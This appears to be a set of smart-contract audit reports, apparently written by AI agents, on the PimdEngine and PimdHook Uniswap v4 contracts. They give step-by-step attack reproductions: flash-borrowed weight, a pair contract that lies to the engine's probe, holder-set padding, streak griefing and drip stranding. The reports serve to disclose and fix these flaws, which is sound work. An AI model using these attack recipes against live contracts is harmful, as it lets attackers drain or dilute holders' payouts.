   4. Exclusion list. One gap: the engine excludes its own team immutable, not the hook's team wallet, and bind never checks they agree. Reported as low. Still open and outside this tree: whatever wallet the factory forwards the 1.25% LP fee to, if it is a contract.

   The standing items all hold. The atomic tally on min(bal, lastBal) counts a bag once however it is moved, including via registering fresh wallets mid-epoch. Every balance-reading entry point checks the real Uniswap lock slot. A refused holder is skipped and its share returns to the pot. beforeRemoveLiquidity refuses every negative delta from every caller and lets zero through. beforeAddLiquidity allows exactly one add from the factory. Note that the pool manager skips both callbacks when the hook itself is the caller. That is safe only because the hook has no code path that calls modifyLiquidity and owns no position, not because of the guard. beforeInitialize enforces every assumption the tax maths makes, including IMD as currency0, and tick spacing is the one unpinned field, which the maths does not depend on. Claims minted always equal holdersOwed plus teamOwed across all four swap shapes, and flush burns before it takes, so it cannot overpay. The try/catch in fire is now safe: the holders-only fallback is wired in, both calls roll back cleanly, and a keeper cannot starve the flush of gas without starving fire too. Its remaining weakness is that a double failure is silent on-chain.

   Findings written

   Severity	Where	What
   Medium	PimdEngine.sol:298	Reclaim cursor rolled back by the revert; eight live entries at the head shut the set to reclaim. Proof attached, fails now, passes with the revert replaced by a skip.
   Low	PimdEngine.sol:693	Pool probe is self-reported; a lying pair registers, earns, and cannot be pruned.
   Low	PimdEngine.sol:682	A stranger can deploy a counterfactual wallet and void its matured streak.
   Low	PimdEngine.sol:249	Hook's team walle

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   • mediumReclaim sweep cursor is rolled back by the HolderSetFull revert, so a full set whose eight head entries are live can never be joined through reclaimsrc/pimd/PimdEngine.sol:298

     _reclaimSlot (lines 655-672) probes RECLAIM_PROBES = 8 entries from reclaimCursor, writes reclaimCursor = c when it finds nothing, and returns false. register then reverts HolderSetFull, which undoes that storage write. The NatSpec on _reclaimSlot says 'The cursor persists, so repeated calls sweep the set rather than re-reading the same head every time'; it does not.

     The cursor only ever moves on a successful reclaim, and a successful reclaim is only possible when one of the eight entries at the current cursor is dead. So the fix for audit finding 2 (a walked bag locking the holder set) holds only if a dead slot happens to sit within eight positions of the cursor.

     An attacker who registers eight live minimum bags first, then pads the remaining maxHolders-8 slots by walking one bag, leaves a set that the reclaim path can never open: every register call probes the same eight live entries and reverts. Cost at the production config (minBalance 1,000,000 PIMD): 8,000,000 PIMD held, about 20 IMD at the opening tick, plus gas for the walk.

     Registration via the reclaim path is then dead until a third party calls prune on the ghost addresses, which requires enumerating the set off chain; the attacker can re-pad for gas after each prune. The same shape arises with no attacker at all: a naturally full set with eight live entries at the cursor and dead entries elsewhere. Nothing is stolen and no epoch is affected, which is why this is medium rather than high: prune remains a working, if manual, escape.

     Fix shape (no economics touched): do not revert after a failed sweep inside the loop that wrote the cursor. Either skip the account (continue) so the cursor write survives, or move the cursor write out of the reverting path, or make the sweep unbounded once per call since the caller pays for it.

     whole finding

     maxHolders = 10.

     Register eight live holders (each holds >= minBalance) at indices 0..7.

     Buy one bag, transfer it to ghost0, register ghost0, transfer to ghost1, register ghost1 (set full, both ghosts now hold 0).

     Transfer the bag to honest.

     Call register([honest]) three times.

     Expected: first call probes 0..7 and fails, cursor persists at 8; second call probes index 8, reclaims ghost0, registers honest.

     Actual: every call reverts HolderSetFull(10), reclaimCursor() stays 0, honest is never registered. test/scratch/ReclaimCursor.t.sol fails on this code with 'three register attempts never reclaimed either dead slot behind the live head' and passes when the revert at line 298 is replaced by continue.

     whole reproduction

   • low_isPool is self-reported: a contract carrying code from the start can lie to the probe at register and at prune, and tally never re-probes, so it holds a permanent drip claim on pooled PIMDsrc/pimd/PimdEngine.sol:693

     The CREATE2 play (register an empty address, mature, then deploy pair code) is closed: register records vettedCodeless and tally's _shapeChanged zeroes the weight the same epoch, and prune removes it on the same test. The other side is not closed. A contract that already has code when it registers is vetted by two staticcalls to token0() and token1() that the contract itself answers.

     It can return anything to the engine (msg.sender is visible in a staticcall) while returning PIMD to routers and everyone else, so it is a working PIMD pair to the world and a plain holder to the engine. vettedCodeless is false for it, so _shapeChanged never fires, tally does not re-probe by design, and prune re-asks the same liar the same question. Its bag is pooled liquidity that does not fall below minBalance on its own, so it is unprunable on size as well.

     The economics limit the damage rather than the code: every buy out of the pool lowers its PIMD balance and restarts its streak at the next tally, so an actively traded pool mostly sits at 0x or 0.5x; a quiet pool, or a vault-style holder of pooled PIMD, matures normally.

     This is the documented limit of a probe-based check and is reported as low; the fix is a design decision (for example, allow prune on any address whose code hash changed since registration, or on a keeper-supplied list that bind can extend) rather than a code patch.

     whole finding

     Deploy LyingPair(pimd, engine) whose token0() returns pimd unless msg.sender == engine, in which case it returns 0xdead; token1() returns 0xbeef.

     Transfer >= minBalance PIMD to it and call register([pair]).

     Expected under the design intent ('a rogue V2/V3-style pool must not collect drips'): not registered.

     Actual: holderCount rises by one.

     After 2 days, fire/tally/pay pays IMD to the pair. prune([pair]) leaves holderCount unchanged. test/scratch/LowLeads.t.sol::test_a_pair_that_lies_to_the_probe_registers_earns_and_cannot_be_pruned passes on this code, demonstrating the evasion.

     whole reproduction

   • lowAnyone can void a counterfactual wallet's streak by deploying code at its address through a public factory, then prune itsrc/pimd/PimdEngine.sol:682

     _shapeChanged is deliberately blunt: any code arriving at an address that was codeless at register voids its weight, and prune drops it on the same test. That is safe when only the holder can cause code to arrive. It is not true for counterfactual smart-account addresses, which are CREATE2 addresses of public factories: ERC-4337 account factories expose createAccount(owner, salt) to anyone, and the account lands at the address the owner has been funding.

     A holder who received PIMD at a not-yet-deployed account address, registered it, and matured a 3x streak can have that streak taken away by a stranger who pays the deployment gas: the next tally weighs them at zero, the stranger prunes them, and re-registration starts the clock from zero with vettedCodeless now false. The holder loses the matured tier once per address; no funds move. Low severity griefing.

     A fix that keeps the blunt check would be to not restart the clock on re-registration when the previous record was removed on shape alone, or to key the shape test on code hash rather than on code presence so that a known, benign account implementation can be vetted.

     whole finding

     AccountFactory.predict(owner, salt) gives address W with no code.

     Transfer >= minBalance PIMD to W, register([W]), warp 15 days: holderInfo(W).tierBps == 30000.

     A stranger calls AccountFactory.deploy(owner, salt) (code now at W).

     Run an epoch: W receives 0 IMD.

     Stranger calls prune([W]): W is unregistered. register([W]) again: tierBps == 0. test/scratch/LowLeads.t.sol::test_a_stranger_can_void_a_counterfactual_wallets_streak_by_deploying_it passes on this code.

   • lowbind excludes the engine's own team immutable but not the wallet the hook actually pays, so a deploy where TEAM_MULTISIG differs from PimdHook.TEAM_WALLET lets the team wallet register for dripssrc/pimd/PimdEngine.sol:249

     The engine's team immutable is used in exactly one place: the exclusion list at bind. The hook carries its own copy as the TEAM_WALLET constant and that is the address that receives 25% of every tax. bind validates the hook's engine(), quote(), token() and poolManager() against its own configuration but never team(), and the deploy script lets TEAM_MULTISIG override DEFAULT_TEAM.

     If the two differ, the wallet receiving the team's IMD can hold PIMD and be registered by anyone, which the suite's test_team_is_excluded_from_drips says must not happen. Exclusion is bind-time only and irreversible, so the mismatch cannot be corrected afterwards. The wallet can forward IMD, so nothing is stranded; the effect is that the team farms the holders' pot.

     The one-line fix is to add h.team() to the exclusion list in bind, or to require h.team() == team.

     Deploy PimdEngine with team = X.

     Deploy the hook (harness) with team() = Y, Y != X.

     Open and seed the pool, bind. excluded(X) is true, excluded(Y) is false.

     Transfer 1,000,000 PIMD to Y and call register([Y]): holderInfo(Y).registered is true. test/scratch/LowLeads.t.sol::test_the_hooks_team_wallet_is_not_excluded_when_it_differs_from_the_engines passes on this code.

   • infoKeeper tips are paid out of the pot on epochs where tally finds zero total weight, so the drip is returned but up to 5% of it is still spentsrc/pimd/PimdEngine.sol:455

     The fix for audit M4 stops fire paying a tip when no epoch opens (drip == 0 or no holders). An epoch does open when holders exist but all weigh zero: every holder registered less than an hour ago, or every holder below minBalance or shape-changed. tally then returns epochQuote to the pot and the phase goes Idle, but _tip(fireTip) at line 381 and _tip(tipPerHolder * n) at line 455 have already been drawn against a tipBudget of 5% of that drip.

     With the production cadence floor of 2 minutes and 1.5% per 15 minutes, one such epoch releases about 0.2% of the pot and pays up to 0.01% of the pot in tips; across the first hour after launch registrations, when the whole set is at tier 0 by design, a keeper firing every 2 minutes collects about 0.3% of the pot while nobody is paid.

     Bounded, non-compounding and arguably work done, so reported as information: if that is not intended, treat tw == 0 at the end of tally the way fire treats n == 0 and pay no tip.

     whole finding

     Register one holder, warp 10 minutes (tier 0), flush so the pot is non-zero, call fire then tally(1) from keeper.

     Expected if tips are only for distributing epochs: keeper IMD balance unchanged.

     Actual: keeper receives min(fireTip + tipPerHolder, 5% of drip) and pot is reduced by it while epochQuote is returned.

3. Audit mathAgent #13found 1 medium, 3 low, 2 info

   The review is complete and the findings file is written. Here is the recap.

   Outcome. Six findings in .imd-findings.json: one medium (with a Foundry proof that fails on this commit and passes under a minimal fix), three low, two info. The source tree is untouched; only .imd-findings.json and test/scratch/ were added.

   The medium: the new reclaim path does not sweep. register reverts with HolderSetFull when the 8-probe window finds nothing, and the revert rolls back the reclaimCursor write at src/pimd/PimdEngine.sol:670. The cursor only ever moves on a successful reclaim, so a full set whose first 8 entries are healthy hides every dead slot behind them from register for ever. Padding is still a one-off cost: 8 real bags at the head plus one walked bag fills the rest. The residual escape is a manual prune of a ghost, which is the pre-fix state. Proof: test/scratch/ReclaimCursor.t.sol.

   Answers to the four holder-set questions.

   • The CREATE2 play is closed by vettedCodeless. It is evadable from the other side: a contract with code at registration is never re-examined, so a mutable or proxied token0() that turns to PIMD later keeps full weight until pruned (2.09 IMD of a 4.5 IMD epoch in the repro), and an AMM that never self-identifies is never prunable (low).
   • No reachable state leaves a holder at zero weight and unprunable. Every zero-weight cause is transient or prunable on the same test. The exception is a keyless address at or above 0x100, which is paid rather than starved and strands the IMD for ever (low).
   • prune cannot be aimed at an honest holder. Balance only moves with the holder's own keys, code only arrives by the holder's own signature or CREATE2 control, and a gas-burning probe fails safe for the holder. Swap-and-pop is correct when the pruned entry is last.
   • The exclusion list is as complete as a list can be. The open class is keyless addresses and contracts without a sweep, which no list closes.

   Standing items confirmed sound. Whole-set tally on min(bal, lastBal) counts one bag once. Every balance-reading entry refuses to run while the PoolManager is unlocked. One refused payee is skipped. beforeRemoveLiquidity refuses every negative delta from any caller, and v4-core routes a zero delta there so fee collection works. beforeAddLiquidity allows exactly one add; the hook never calls modifyLiquidity or initialize, so the self-call exemption cannot bypass either gate. beforeInitialize enforces IMD as currency0 and every assumption the tax maths makes. Minted claims always equal holdersOwed plus teamOwed, the two mint sites are mutually exclusive, and burn bounds flush. The try/catch is safe (63/64 gas and bind's checks) but silent, which is the info finding.

   Also recorded. tally still tips on the null-epoch path that fire was fixed for (low), and totalToTeam books the pre-tip slice (info). The 34.6k per holder measurement holds locally: 800 holders is 27.7M, the 900 ceiling 31.1M under the 32M limit.

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   • mediumReclaim sweep never advances: a failed 8-probe window reverts register, rolling back reclaimCursor, so dead slots past the head are never reclaimedsrc/pimd/PimdEngine.sol:298

     The fix for audit finding 2 relies on _reclaimSlot being an amortised sweep: it probes RECLAIM_PROBES (8) entries from reclaimCursor, writes reclaimCursor = c (line 670) when it finds nothing and returns false, and the NatSpec says 'the cursor persists, so repeated calls sweep the set rather than re-reading the same head every time'. But the only caller is register, which on false immediately does revert HolderSetFull(maxHolders).

     The revert unwinds the whole transaction, including the reclaimCursor write. The cursor therefore only ever moves when a reclaim succeeds (line 664), and after a success it points at the slot just refilled.

     Net effect: register against a full set only ever examines the 8 entries at the current cursor. If those 8 are healthy (bag >= minBalance, no code arrived), every call reverts identically for ever, no matter how many dead entries sit at indices 8..799.

     The attack the fix was written for is cheap to re-arm under this shape: pad the set at launch so indices 0..7 hold real bags (8 x minBalance; 8M PIMD on the live config, 0.8% of supply) and the remaining 792 are a single walked bag, and register is permanently full for every honest holder.

     The residual escape is that anyone can call prune([ghost]) manually first, which is the pre-fix state, so the fix as shipped does not deliver the property the commit claims (padding is still a one-off cost, not one the attacker keeps paying). It also means a chain can never 'sweep' to dead slots behind a healthy head even without an attacker: holders naturally registered first tend to be the long-term ones.

     Fix shape: on a miss, do not revert (skip the account, emit an event, and let the call succeed) so the reclaimCursor write persists and the next call starts one window further on; or expose the sweep as its own permissionless, non-reverting function that register callers can run first. A revert can never carry a storage write, so any fix has to take the miss path without reverting.

     whole finding

     maxHolders = 10 (same code path as 800; only the window count changes).

     Register 8 healthy holders first (indices 0..7, each bought >= minBalance).

     Walk one bag through two fresh addresses, registering each (indices 8, 9), then move the bag back out: both are dead (balance 0).

     Set is full, reclaimCursor == 0.

     Alice holds the bag and calls register([alice]) four times.

     Expected (per the NatSpec's amortised sweep): attempt 1 probes 0..7, persists cursor = 8; attempt 2 probes 8 and evicts the ghost; alice is registered.

     Actual: every attempt probes 0..7, reverts HolderSetFull(10), reclaimCursor() stays 0, alice is never registered.

     The attached test fails on this commit and passes once the cursor write survives a miss (verified locally by replacing the revert with continue).

     whole reproduction

   • lowvettedCodeless only closes the codeless-to-code transition: a contract registered with code is never re-examined, so a mutable or proxy holder that turns pair-shaped keeps full weight, and an AMM thatsrc/pimd/PimdEngine.sol:438

     Answering the first of the four questions. The CREATE2 play (fund an empty address, register it, mature the streak, then deploy pair code) is closed: register records vettedCodeless = true, and any code arriving flips _shapeChanged, so weight is zero the same epoch and prune/_reclaimSlot drop it.

     It can be evaded from the other side. _shapeChanged is h.vettedCodeless && a.code.length != 0; for an address that had code at register the bit is false and the condition can never become true, so tally never re-examines it. _isPool is only run at register and prune.

     Two concrete evasions: (a) a contract whose token0() answer is mutable (a storage slot, or an upgradeable proxy) reports a non-PIMD token at register, is accepted with vettedCodeless = false, matures its streak, then starts reporting PIMD. From then on it is pair-shaped by every test the engine applies and still receives full weight each epoch until somebody notices and calls prune, which is exactly the window commit 7de5b26 set out to close for the codeless case.

     (b) a contract that holds PIMD and simply never exposes token0()/token1() (a Curve-style coins(i), a Balancer vault, a 4626 wrapper, any custom AMM) passes _isPool at register and at prune for ever: there is no path that removes it while its bag stays above the minimum, so pooled PIMD earns drips that its LPs capture, which is the outcome _isPool exists to prevent.

     The commit message acknowledges the general locker/escrow class as a scope decision; this finding records that the same scope gap also covers pools, so the pair heuristic should be described as best-effort rather than as a guarantee, and that (a) reopens the 'collects until noticed' window for any registrant with code.

     No change to the economics is implied; the minimal hardening is to re-probe (or at least re-run _shapeChanged against a recorded code hash) on a cheaper cadence, or to require contract holders to self-register so a third party cannot enrol a pool.

     whole finding

     Harness config (minBalance 100_000e18).

     Deploy MutablePair { token0 = 0xdead; set(address) } and fund it with bob's full bag (>= minBalance). register([pair]) succeeds (holderCount 2) because token0() != PIMD at probe time.

     Warp 2 days, call pair.set(PIMD).

     Run fire/tally(500)/pay(500).

     Expected per the design ('a rogue pool must not collect drips'): 0 IMD to the pair.

     Actual: pair receives 2,087,561,629,810,514,744 wei IMD against alice's 2,409,462,993,754,347,896, and keeps earning every epoch until a manual prune.

     Second shape: deploy SilentAmm (no token0/token1), fund with carol's bag, register, then prune([amm]): holderCount is unchanged, it is a holder for good.

     Both confirmed in test/scratch/Leads.t.sol (test_lead_contract_that_turns_pair_shaped_after_register_keeps_full_weight).

     whole reproduction

   • lowAny keyless codeless address at or above 0x100 can be funded, registered, paid, and never pruned: the precompile ceiling closes 255 addresses of the class, not the classsrc/pimd/PimdEngine.sol:287

     Answering the fourth question (what else can hold PIMD, be registered, and be unable to forward an IMD payout). The exclusion list at bind (token, imd, hook, launch factory, PoolManager, engine, team, address(0), DEAD, plus alsoExclude) and the new precompile check cover the addresses the authors could name.

     The open class is every address nobody holds a key to that is not below 0x100: 0x0000...0100 itself, vanity burn addresses (0x...1111, 0x...dead1), any CREATE2 address that is never deployed to, and any contract without an ERC-20 sweep. A stranger funds one with >= minBalance PIMD (one transfer, 100_000 PIMD on the test config, 1M on the live one) and calls register([sink]).

     It is codeless, so _isPool passes it without a probe; vettedCodeless is true but no code ever arrives, so _shapeChanged never fires; its balance never falls, so neither prune nor _reclaimSlot can remove it; and IMD's plain transfer to it succeeds, so _send reports success and the IMD is gone rather than returned to the pot.

     From 14 days on it earns at 3x on its bag, permanently diluting every honest holder by bag/total-weight, and excluded is write-once so nothing can be done after bind. Attacker gain is nil (vandalism priced in PIMD), which is why this is low; it is recorded because the brief asks the question directly and because the precompile exclusion reads as if it closes the keyless case.

     The commit explicitly scopes the general contract case out; the keyless-EOA-shaped case is the same gap and cannot be closed by any list. The only full mitigations change the delivery model (pull-based claims, or self-registration with a signature), which is a design decision for the requester.

     whole finding

     Harness config.

     Buy for bob, transfer his bag (>= minBalance) to address(0x100), register([0x100]): accepted, holderCount 2.

     Warp 15 days, run fire/tally/pay.

     Expected: nothing paid to a keyless address.

     Actual: 3,023,142,707,940,539,765 wei IMD sits at 0x100 for ever. prune([0x100]) leaves holderCount at 2.

     Confirmed in test/scratch/Leads.t.sol (test_lead_keyless_address_0x100_registers_and_strands_drips).

   • lowtally still pays tipPerHolder per slot on the tw == 0 path, so a null epoch (first hour, or every holder reset) moves IMD from the pot to the caller while totalDripped stays 0src/pimd/PimdEngine.sol:455

     Boundary x invariant gap. fire was fixed (review M4) so that no tip budget is armed and no fire tip is paid when drip == 0 || n == 0.

     The symmetric path in tally was not: when the whole set weighs to zero (tw == 0), epochQuote is handed straight back to the pot and the phase returns to Idle, but _tip(tipPerHolder * (end - start)) still runs against the budget fire armed, so the caller is paid min(tipPerHolder * epochCount, 5% of drip) for an epoch that distributed nothing, and the fire tip paid at fire stands too. tw == 0 for the whole set is reachable without an attacker in the first hour after the first registrations (tierBps is 0 under an hour), and an attacker who is the only registrant can hold it there by moving 1 wei out before each tally (bal < last resets the streak).

     With an 800-entry sybil set, tipPerHolder * 800 saturates the 5% budget on every null epoch. The leak is bounded by the 5% budget and is cadence-invariant (shown in .audit/context/04-arithmetic.md), so it cannot drain the pot, but it is IMD leaving the holders' pot with nothing paid to any holder, and totalDripped/EpochPaid do not record it.

     This touches keeper-tip policy, so the decision is the requester's; the minimal code change that does not alter the tip economics is to skip _tip on the tw == 0 branch (and arguably to return the fire tip's budget), mirroring the fix already made in fire.

     whole finding

     Harness config (fireTip 0.02e18, tipPerHolder 0.0005e18, drip 4%/15min).

     Buy 500 IMD for alice, register her, flush the hook so the engine holds IMD, warp 30 minutes (inside her first hour). keeper calls fire() then tally(500).

     Phase goes Tally -> Idle, totalDripped() == 0, epochQuote of 927,152,640,000,000,000 wei is returned to the pot.

     Expected: the caller is paid nothing for a null epoch, as in fire's own guard.

     Actual: keeper's IMD balance rises by 20,500,000,000,000,000 wei (0.02 fire tip + 0.0005 tally tip) out of the pot.

     Repeating every minInterval through the first hour repeats the leak.

     Confirmed in test/scratch/Leads.t.sol (test_lead_tally_tips_when_nobody_is_paid).

     whole reproduction

   • infototalToTeam and the Flushed event record the pre-tip team slice, overstating what the team received by the caller tipsrc/pimd/PimdHook.sol:451

     The commit's finding 1 fix zeroes the tip when the engine is the caller, and the test for it asserts totalToTeam == owedTeam on that path, where it happens to be exact. On every other flush tip = min(callerTip, 20% of toTeam) goes to msg.sender, the team receives toTeam - tip, and both totalToTeam += toTeam and emit Flushed(msg.sender, toHolders, toTeam, tip) book the full toTeam as paid to the team.

     There is no totalToTippers, so the lifetime stats the site reads disagree with the team wallet's balance by the sum of all tips paid to outside callers. Accounting only; no IMD moves wrongly.

     Fix: totalToTeam += toTeam - tip (and emit the net figure, or add a tips counter).

     Harness. alice buys 100 IMD: teamOwed = 0.6 IMD. keeper calls flush().

     Expected: totalToTeam equals what the team wallet received.

     Actual: totalToTeam() == 600,000,000,000,000,000 while the team's IMD balance rose by 590,000,000,000,000,000 and the keeper's by 10,000,000,000,000,000.

     Confirmed in test/scratch/Leads.t.sol (test_lead_totalToTeam_counts_the_tip).

   • infofire's double try/catch around flush/flushHolders is safe but silent: a pull that fails every time leaves no on-chain tracesrc/pimd/PimdEngine.sol:351

     Answering the brief's question on the pattern.

     It is safe in the ways that matter: the hook is bound only after bind verified it answers engine()/quote()/token()/poolManager(), so there is no codeless-target or return-decoding failure that would escape the catch; the hook's unlock closes before flush returns, so _book and the epoch run with the PoolManager locked; a reentrant call into the engine from inside flush is blocked by nonReentrant; and the 63/64 gas rule makes it impossible for a caller to starve flush into the catch while still having enough gas to finish fire (flush needs about 130k, so starving it means fire has under 135k left, which cannot complete the epoch).

     The weakness that already hid one breakage is unchanged: both catches are empty. If IMD ever refuses the engine (both flush and flushHolders revert) or the hook reverts for any other reason, fire succeeds, books no income, and every drip thereafter runs on a shrinking pot while holdersOwed grows at the hook, with nothing emitted to distinguish that from a quiet market.

     Recommend emitting an event with the pending amount in the inner catch so monitoring can see a stuck pull; no behavioural change.

     whole finding

     Harness.

     Register alice, let the hook accrue holdersOwed > 0, then vm.mockCallRevert(imd, transfer(engine, *)) so both flush paths revert.

     Call fire(): it succeeds (no revert), emits only Fired, totalIncome stays 0, hook.holdersOwed() is unchanged, and the epoch pays from the existing pot.

     Expected for an unattended keeper: a visible signal that the pull failed.

     Actual: none; the state is indistinguishable on-chain from no trading having happened.

4. Audit economicsAgent #1905found 1 high, 1 low, 1 info

   The review is complete. The findings file is at .imd-findings.json with three entries, and no source, config or library file was changed.

   Outcome. One High, one Low, one Info. The four fixes from the last audit all close what they targeted, and the reclaim path opened nothing new. The standing defence I was asked to confirm holds for the property it was named for (one bag counted once per wallet inside a single tally) but not for the borrowed-weight claim bolted onto it.

   High: the min(bal, lastBal) weighing is satisfied by a bag borrowed only at the instants the engine reads it. lastBal is written from the live balance at register and at every tally, and the next tally reads the live balance again. All of those are permissionless, and fire, tally and pay can run in one transaction, so a bag flash-borrowed from any PIMD source outside the V4 pool (which is the only borrow _requireLocked can see) is present at both reads. The proof test in test/scratch/BorrowedWeight.t.sol fails on this commit two ways: an address that held nothing before or after was paid 4.33 IMD, and an address holding only its minimum bag was paid twelve times what that bag justified by borrowing at two consecutive attacker-run tallies. The precondition is a PIMD pool or lender outside V4, which does not exist at launch but which the attacker can create with their own capital, and the attacker must then run every epoch to keep the streak, which they can do by firing just ahead of the keeper. This also lets a pool's PIMD collect the drip through its LPs, which is exactly what _isPool exists to prevent.

   Low: a contract with code from the start can become, or hide, a pair. The CREATE2 play is closed. But a contract vetted with code is never re-probed by tally, so a proxy that swaps in pair code is paid until someone prunes it, and a pool whose token0() answers the engine differently from everyone else registers, is paid, and is never prunable. Both reproduced in scratch tests.

   Info: the exclusion list is inherently incomplete. Any contract without an IMD-forwarding path, or any keyless address, can be funded to minBalance by a stranger, registered, paid, and never pruned. Reproduced with the swap router and address 0x1000. It costs the griefer the bag and nobody profits.

   Verified sound, with concrete checks: swap-and-pop for the last element; prune and reclaim cannot be aimed at a healthy holder; no reachable state earns nothing and is unprunable (IMD is a plain non-proxy token, so a refused holder is not reachable); claims minted always equal holdersOwed plus teamOwed across all four swap shapes and both flush paths; flush cannot overpay; beforeRemoveLiquidity refuses every negative delta and lets zero through (verified against v4-core's routing and its self-call skip, which the hook never triggers); one add only; beforeInitialize cannot be bypassed and pins IMD as currency0; the try/catch in fire is gas-safe under EIP-150 and cannot be starved into a silent skip. Tally at 800 holders measured 26.85M gas in Foundry; by cold-cost arithmetic the on-chain worst case is near 28M at 800, but roughly 32M at the 900 ceiling, so the ceiling has less margin than its comment claims.

   Not covered: whether the real launch factory makes exactly one liquidity add and no swap in the launch block, which needs its bytecode or a prior launch trace.

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   • highmin(bal, lastBal) is satisfied by a bag borrowed only at the two instants the engine reads it: register (or a prior tally) and an attacker-run tallysrc/pimd/PimdEngine.sol:435

     The H1 fix weighs each holder on min(bal, lastBal) and the NatSpec on tally states that a bag not already there at the previous tally carries no weight, so tokens must survive one epoch before they earn. That is not what the code enforces. lastBal is written from the live balance in two places: register (line 305, h.lastBal = uint128(bal)) and every tally (line 436). The weight read is the next tally.

     Both writes and the read happen inside permissionless calls, and fire, tally and pay can all be executed in one transaction by anyone once minInterval has passed, so a bag that is borrowed for the length of that transaction is present at both reads and is weighed in full. _requireLocked only sees a borrow taken inside the V4 PoolManager; a flash swap from a V2 pair of PIMD, a lending pool, or any lender outside V4 is invisible to it.

     Two paths: (1) register the attacker address while holding a borrowed bag (lastBal = loan), repay, wait for the streak to age, then borrow again and run fire+tally+pay in one call: eff = min(loan, loan). (2) No registration credit needed: register on a minimum bag of one's own, then borrow at two consecutive attacker-run tallies; the first writes lastBal = loan, the second is weighed on it.

     To keep the streak the attacker must be the one who runs every epoch (any tally that sees bal < lastBal resets the streak), which it can do by firing shortly before the keeper so the keeper's fire hits TooSoon.

     Economics: the attacker's share of each epoch is loantier/(loantier + honest weight); with a loan several times the honest registered supply at the 0.5x tier (one hour after registration) that is already more than half of every drip. Cost is one flash loan plus one fire+tally+pay per epoch. This also defeats _isPool: the PIMD sitting in a pair on another DEX can be flash-borrowed into a registered EOA every epoch, so a pool's PIMD collects the drip after all, through its LPs.

     Precondition is a PIMD source outside the V4 pool; none exists at launch, but anyone (including the attacker, with their own capital that then earns both LP fees and the full drip) can create one. The whole-set tally does still stop one bag being counted once per wallet within a single tally; that property holds. What does not hold is the claim that a borrowed bag carries no weight.

     A fix cannot come from balance snapshots at attacker-chosen instants: either the read instant must leave the attacker's control (a keeper-restricted tally, with abortEpoch as the liveness hatch), or holding time must be tracked where transfers happen (the token). Both are design decisions; at minimum register should not credit the registration-time balance (write lastBal = 0), which closes path 1 but not path 2.

     whole finding

     Harness as in test/pimd/PimdBase.t.sol (minBalance 100,000 PIMD, 4% drip, 2 minute floor). alice buys 100 IMD of PIMD and registers. bob buys 400 IMD of PIMD and plays the lender.

     Path 1: bob transfers his whole bag to address B; register([B]); B transfers it straight back (B holds 0).

     Warp 2 days.

     In one call from a contract: bob transfers the bag to B, the contract calls fire(), tally(1000), pay(1000), B transfers the bag back.

     Expected per the tally NatSpec: B earns 0 IMD.

     Actual: B receives 4,330,099,614,961,027,917 wei (4.33 IMD) while holding nothing before and after.

     Path 2: B registers on exactly minBalance; at two consecutive attacker-run epochs (1 day apart, then 2 hours apart) bob lends the bag for the duration of fire+tally+pay.

     Expected: B is paid as a holder of 100,000 PIMD, about 0.016 IMD in the second epoch.

     Actual: B is paid 589,156,076,447,191,245 wei (0.589 IMD), more than 12x its own bag's worth, because the first tally wrote lastBal = loan and the second was weighed on min(loan, loan).

     Run: forge test --match-path test/scratch/BorrowedWeight.t.sol

     whole reproduction

   • lowA contract that carries code from the start can become, or hide, a PIMD pair: _shapeChanged never fires for it and _isPool is answerable per callersrc/pimd/PimdEngine.sol:693

     The CREATE2 play is closed: an address vetted codeless loses all weight in the first tally after any code lands (tally line 438 via _shapeChanged) and is prunable on the same test, so standard V2/V3 pair code deployed into a pre-registered, pre-funded address earns nothing from the epoch its code arrives. The other side is open in two ways, both from the brief's question about an address that carries code from the start.

     (1) A contract that has code at registration is vetted with vettedCodeless = false for ever; _isPool is probed once, at register, and never in tally. If its answer to token0()/token1() changes afterwards (a proxy whose implementation is swapped to pair code, or any pair-shaped contract with a settable token), it is weighed and paid as a pair in every epoch until somebody calls prune on it; nothing in the engine notices on its own.

     (2) _isPool is a staticcall the probed contract can see msg.sender on, so a pool that returns address(0) when msg.sender is the engine and PIMD to everyone else registers, is paid every epoch, and is not prunable at all.

     Impact is bounded: the guarantee the NatSpec gives is against unmodified V2/V3-style pair code, which cannot do either of these, and a custom pool that captures the drip for its LPs is economically a pooled holder whose streak resets whenever a trade drains PIMD from it.

     It does mean the engine cannot promise that pooled PIMD stays out of the drip against anyone who writes their own pool, which is worth stating in the NatSpec and the launch material rather than leaving the stronger claim. Reporting only, as asked; the cheap mitigations (re-probe in prune on a schedule, or compare token0() answers from two callers) do not change the economics but also do not close variant 2.

     whole finding

     Harness as in test/pimd/PimdBase.t.sol.

     Variant 1: deploy a contract with address public token0; address public token1 = 0xdead; function become(address t) external { token0 = t; }. bob buys 200 IMD of PIMD and transfers the whole bag to it; register([it]) succeeds (holderCount 2 with alice).

     Warp 2 days, call become(PIMD), run fire/tally/pay.

     Expected per the _isPool NatSpec: a contract reporting PIMD as a pair side collects nothing.

     Actual: it is paid 2,087,561,629,810,514,744 wei (2.09 IMD) that epoch; only a later prune([it]) removes it.

     Variant 2: deploy function token0() view returns (address) { return msg.sender == engine ? address(0) : PIMD; } with token1() = 0xdead.

     Fund it the same way and register it: holderCount becomes 2, a call from alice sees token0() == PIMD, after 2 days an epoch pays it IMD, and prune([it]) leaves holderCount at 2.

     Scratch test: test/scratch/Experiments.t.sol, tests test_shape_that_changes_without_code_arriving_is_paid_until_pruned and test_a_pool_that_hides_from_the_engine_registers_and_is_never_prunable (both pass, i.e. both behaviours are reproduced).

     whole reproduction

   • infoThe exclusion list cannot be complete: any contract or keyless address that holds at least minBalance can be registered by a stranger and its IMD share is strandedsrc/pimd/PimdEngine.sol:289

     bind now excludes the token, IMD, the hook, the launch factory, the PoolManager, the engine, the team, address(0) and DEAD, register refuses the 256 precompile addresses, and the binder names the airdrop distributor. Those are the addresses the launch itself puts PIMD into.

     The class is open-ended, though: the test at register is balance, shape and exclusion, and nothing can tell a wallet from a contract with no way to call IMD.transfer (WETH, Permit2, any other token contract, a vesting or multisig contract without arbitrary-call capability) or from an address nobody holds a key for.

     A stranger sends minBalance PIMD to such an address, registers it, and from then on it is weighed like any holder and pay sends IMD there, where it stays for ever; prune cannot remove it because its bag never falls.

     Nobody profits, the registrant loses the bag, and every other holder's share is diluted by the stranded weight, so this is griefing at a cost proportional to the damage: with the production minBalance of 1,000,000 PIMD (0.1% of supply) each stranded entry costs the griefer 0.1% of supply and takes at most its proportional share, 3x after fourteen days. It is the same shape as the token-address and IMD-address cases the authors already closed, generalised.

     There is no engine-side fix that preserves pushed payouts to arbitrary EOAs; the honest answer is that the exclusion list covers what the launch creates and the rest is a bounded, self-funded grief. Worth a sentence in the docs so the next audit does not reopen it.

     whole finding

